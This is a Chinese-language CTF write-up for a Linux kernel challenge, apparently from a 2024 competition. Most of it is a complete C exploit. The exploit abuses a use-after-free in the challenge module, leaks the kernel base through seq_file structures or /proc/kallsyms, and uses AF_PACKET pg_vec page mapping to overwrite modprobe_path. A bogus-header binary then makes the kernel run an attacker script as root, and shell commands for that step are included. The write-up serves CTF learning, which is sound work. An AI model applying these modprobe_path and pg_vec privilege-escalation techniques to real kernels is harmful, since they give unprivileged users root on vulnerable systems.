setup 準備工作
void unshare_setup() {
char edit[0x100];
int tmp_fd;
// from lib pthread
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
// from lib fcntl
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
sprintf(edit, "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
這個函式的目的是為當前程序配置新的名字空間,尤其是
mount
、user
和network
名字空間,確保程序在新的名字空間中有隔離的環境。此外,它透過設定 UID 和 GID 對映來確保程序在新的使用者名稱字空間中以 root 使用者身份 (UID 0) 執行,但在主機系統中仍保持原有的 UID 和 GID。這種做法通常用於容器技術或者其他需要程序隔離的場景。
如何洩露地址
seq_vec
什麼結構體可以利用可以參考這個部落格 kernel exploit 有用的結構體——spray&victim — bsauce
可以利用 seq_file 【PWN.0x02】Linux Kernel Pwn II:常用結構體集合 - arttnba3's blog
序列檔案介面(Sequence File Interface)是針對 procfs 預設操作函式每次只能讀取一頁資料從而難以處理較大 proc 檔案的情況下出現的,其為核心程式設計提供了更為友好的介面
kallsyms 可讀
其實這裡可以不用洩露地址,直接讀 kallsyms 檔案就可以:
void read_line(int fd, char *buf, uint32_t size) {
char tmp;
for (uint32_t i = 0; i < size - 1; i++) {
read(fd, &tmp, 1);
if (tmp == 0xa || tmp == 0) {
buf[i] = 0;
break;
}
buf[i] = tmp;
}
}
void leak_with_kallsyms() {
int kallsyms_fd = open("/proc/kallsyms", O_RDONLY);
char buf[0x30];
while (1) {
read_line(kallsyms_fd, buf, sizeof(buf));
if (strstr(buf, "startup_64")) {
char hex[0x20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &kbase);
print_hex("kbase", kbase);
break;
}
}
}
更改 modprobe_path
-
usma
利用 mmap 的方式,使用者態和核心態共享一段記憶體這樣來修改核心裡面 UAF 的 page
modprobe_path
modprobe_path
指向樂 modprobe
程式。何時觸發:
構造一個非法的檔案頭,如
ffffffff
,促使核心進入call_modprobe
函式
計算 modprobe_path 地址的方式
>>> elf=ELF("vmlinux")
[*] '/mnt/e/ctf/2024/08 wdb/06d0521d9874d6adc5f2d8f8b7ade315/vmlinux'
Arch: amd64-64-little
Version: 4.9.337
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
>>> hex(elf.sym["modprobe_path"]-0xffffffff81000000)
'0xe58b80'
pg_vec
可以利用 pg_vec 實現一個頁面的寫入
這個結構體可能在配置 socket 和 ring 的時候分配。setsockopt
是用來做這些設定的系統呼叫。這些操作通常用來最佳化資料包的傳送效能,有效組織和管理資料包。
pg_vec
陣列中的每個元素(struct pgv
)都有一個 buffer
欄位,該欄位指向一個已經分配好的記憶體頁。每個 buffer
用於儲存協議棧需要處理的資料包或網路幀。
struct pgv {
char *buffer; // 指向一個 page
};
先從原始碼的層面理解這些功能,有一個使用的例子:RX_RING is capturing TX_RING packets
我的 exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <arpa/inet.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define SEQ_NUM 0x100
#define SEQ_SIZE 0x20
uint32_t mod_fd;
uint64_t kbase;
uint64_t modprobe_path_addr = 0xe58b80;
int32_t seq[SEQ_NUM+0x1000];
// 設定 rx ring 的版本和一些引數
void packet_socket_rx_ring_init(uint32_t s, uint32_t block_size,
uint32_t frame_size, uint32_t block_nr) {
// setup version
int32_t v = TPACKET_V3; // 版本 3 zero-copy
setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
// setup ring
struct tpacket_req3 req = {
.tp_block_size = block_size,
.tp_frame_size = frame_size,
.tp_block_nr = block_nr,
.tp_frame_nr = (block_size * block_nr) / frame_size,
.tp_sizeof_priv = 100
};
setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
}
int32_t packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr) {
/*
AF_PACKET: Low-level packet interface
SOCK_RAW: Provides raw network protocol access.
ETH_P_ALL: Every packet that matches the protocol type will be received.
*/
int32_t s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr);
struct sockaddr_ll sa = {.sll_family = PF_PACKET,
.sll_protocol = htons(ETH_P_ALL),
.sll_ifindex = if_nametoindex("lo")};
// 配置套接字繫結資訊,繫結到環回介面
// lo,使得它只接收來自該介面的乙太網資料包。
bind(s, (struct sockaddr *)&sa, sizeof(sa));
return s;
}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void unshare_setup() {
char edit[0x100];
int tmp_fd;
// from lib pthread
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
// from lib fcntl
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
sprintf(edit, "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
void leak() {
mod_fd = open("/dev/easy", O_RDWR);
ioctl(mod_fd, 0, SEQ_SIZE); // alloc
for (uint32_t i = 0; i < SEQ_NUM; i++) {
seq[i] = open("/proc/self/stat", O_RDONLY);
if (i == SEQ_NUM / 2) {
ioctl(mod_fd, 1); // free
}
}
char buf[0x100] = {0};
read(mod_fd, buf, SEQ_SIZE);
for (uint32_t i = 0; i < SEQ_SIZE; i += 8) {
print_hex("seq", *(uint64_t *)(buf + i));
}
kbase = *(uint64_t *)buf - 0x25bcc0;
print_hex("kbase", kbase);
modprobe_path_addr += kbase;
print_hex("modprobe_path_addr", modprobe_path_addr);
/* output:
ffffffffae65bcc0
ffffffffae65bd00
ffffffffae65bce0
ffffffffae6aad80
gef> kbase
[+] Wait for memory scan
kernel text: 0xffffffffae400000-0xffffffffaecb6000 (0x8b6000 bytes)
kernel rodata: 0xffffffffaee00000-0xffffffffaf200000 (0x400000 bytes)
kernel data: 0xffffffffaf200000-0xffffffffafa00000 (0x800000 bytes)
*/
}
void get_flag() {
system("echo -ne '#!/bin/sh\ncat /flag > /tmp/flag\nchmod +x /tmp/flag' > /tmp/fakemp");
system("chmod a+x /tmp/fakemp");
system("echo -ne '\xff\xff\xff\xff' > /tmp/exec");
system("chmod a+x /tmp/exec");
system("/tmp/exec ; cat /tmp/flag");
// system("/bin/sh");
}
void hack_modprode_path() {
// block_size = 0x1000 一頁
ioctl(mod_fd, 0, SEQ_SIZE); // alloc
ioctl(mod_fd, 1); // free
uint64_t modprobe_path_addr_base = modprobe_path_addr & ~0xfff;
uint32_t i = SEQ_NUM;
while (1) {
// 為什麼設定成 0x1000 和 3
// 因為為了讓 pg_vec 屬於 0x20 的大小
int packet_fd = packet_socket_setup(0x1000, 2048, 32 / 8 - 1);
printf("fd %d\n", packet_fd);
write(mod_fd, &modprobe_path_addr_base, 8);
uint64_t page;
page = (uint64_t) mmap(NULL, 0x1000*3, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fd,
0);
uint64_t tmp_path = page + (modprobe_path_addr & 0xfff);
if (!strcmp((char *)tmp_path, "/sbin/modprobe")) {
printf("find modprobe_path\n");
print_hex("tmp_path", tmp_path);
strcpy((char *)tmp_path, "/tmp/fakemp");
munmap((char *)page, 0x1000*3);
get_flag();
break;
}
seq[i] = open("/proc/self/stat", O_RDONLY);
i++;
}
}
int main() {
unshare_setup();
printf("start leak address\n");
leak();
printf("start attack modprode_path\n");
hack_modprode_path();
return 0;
}